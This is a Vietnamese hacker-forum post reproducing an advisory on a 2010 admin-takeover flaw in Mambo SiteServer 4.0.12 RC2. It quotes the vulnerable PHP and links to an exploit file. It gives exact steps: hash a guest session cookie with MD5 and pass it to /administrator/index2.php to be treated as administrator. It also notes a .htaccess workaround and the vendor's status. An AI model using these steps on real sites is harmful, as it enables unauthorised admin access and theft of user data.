Hacker
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.


Forum Hacker Viet Nam
 
Trang ChínhLatest imagesTìm kiếmĐăng kýĐăng Nhập

 

 Đoạt quyền Admin ở Mambo SiteServer :

Go down 
Tác giảThông điệp
hackervn1992

hackervn1992


Tổng số bài gửi : 200
Join date : 22/10/2010

Đoạt quyền Admin ở Mambo SiteServer : Empty
Bài gửiTiêu đề: Đoạt quyền Admin ở Mambo SiteServer :   Đoạt quyền Admin ở Mambo SiteServer : EmptySat Oct 23, 2010 5:02 pm

PROGRAM: Mambo SiteServer
HOMEPAGE: http://www.mamboserver.com/
TESTED: Mambo 4.0.12 RC2
LOGIN REQUIRED: No


PROOF OF CONCEPT
==============

http://www.voidnull.com/exploit/mamboexp.phps


DESCRIPTION
==========
Một lỗi trong /administrator/index2.php cho phép bất kỳ user nào cũng có thể đoạt được quyền admin

Thực tế, bạn chỉ nghĩ logging như một user bình thường sẽ tạo sessionid này, tuy nhiên một bug trong mã nguồn PHP mà chắc chắn không làm cho điều này xảy ra.


Bất kỳ người nào hiểu sơ sơ về PHP cũng biết rằng khi bạn set một cookie, nó sẽ không cập nhật cho đến khi bạn refresh trang web. Bất kỳ người nào nhưng người làm mã cho Mambo SiteServer là:


setcookie("sessioncookie", "$sessionID");
if ($HTTP_COOKIE_VARS["sessioncookie"]!="") {
$query="INSERT into ".$dbprefix."session set
session_id='$cryptSessionID', guest='', userid='$uid',
usertype='$usertype', gid='$gid', username='$username'";
$database->openConnectionNoReturn($query);
}


Như chúng ta có thể thấy, Mambo SiteServer kiểm tra nếu cookie được set trước khi nó cài vào sessionid trong table. Như thế nó sẽ chưa được set, không có sessionid nào được cài vào và vì thế chúng ta không thể "login" vào ngay cả thư mục admin.


Chuyển đến đoạn mã nguồn trong SessionCookie.php (cái mà được gọi ra khi bạn logout), chúng ta có thể thấy rằng một sessionid được cài vào mỗi khi logout. Tại sao? Tôi không có ý kiến.


$current_time = time();
if ($HTTP_COOKIE_VARS["sessioncookie"]==""){
$randnum=getSessionID1();
...
$cryptrandnum=md5($randnum);
...
setcookie("sessioncookie", "$randnum");
$guest=1;
$query="INSERT into ".$dbprefix."session SET username='',
time=$current_time, session_id='$cryptrandnum', guest=$guest";
$database->openConnectionNoReturn($query);
}


Một cookie, trông giống như sau sẽ được send đến trình duyệt:


sessioncookie=nh54OQIZb8ybaA2CNNdU1046102063


Tất cả những gì chúng ta phải làm là MD5-encrypt nó.

0ebda5bbba49dc226b4ed8fc801f1d98


Bằng việc truy cập /administrator/index2.php với session này, Mambo SiteServer sẽ nghĩ rằng chúng ta là administrator log in vào:


/administrator/index2.php?session_id=0ebda5bbba49dc226b4ed8fc801f1d98


SUMMARY
=======
Đoạt được quyền admin cho phép bạn truy cập vào tất cả cơ sở dữ liệu của MySQL, user passwords, news, polls và tất cả mọi thứ mà server có được. Nhiều websites chạy Mambo SiteServer cộng với những scripts khác mà cần cho MySQL, và điều này là lời cảnh báo đến những webmasters.


SOLUTIONS
========
Cho đến khi Mambo cho ra patch tôi đề nghị bảo vệ mật khẩu thư mục /administrator với .htaccess.


VENDOR STATUS
===========
Đã thông báo cho nhà cung cấp. Họ đang làm cái patch cho lỗi này.
Về Đầu Trang Go down
 
Đoạt quyền Admin ở Mambo SiteServer :
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Lỗi trong phpBB 1.4.x có phép đoạt quyền Admin :
» Change password admin , hack win2k

Permissions in this forum:Bạn không có quyền trả lời bài viết
Hacker :: Security :: Hacker and Security-
Chuyển đến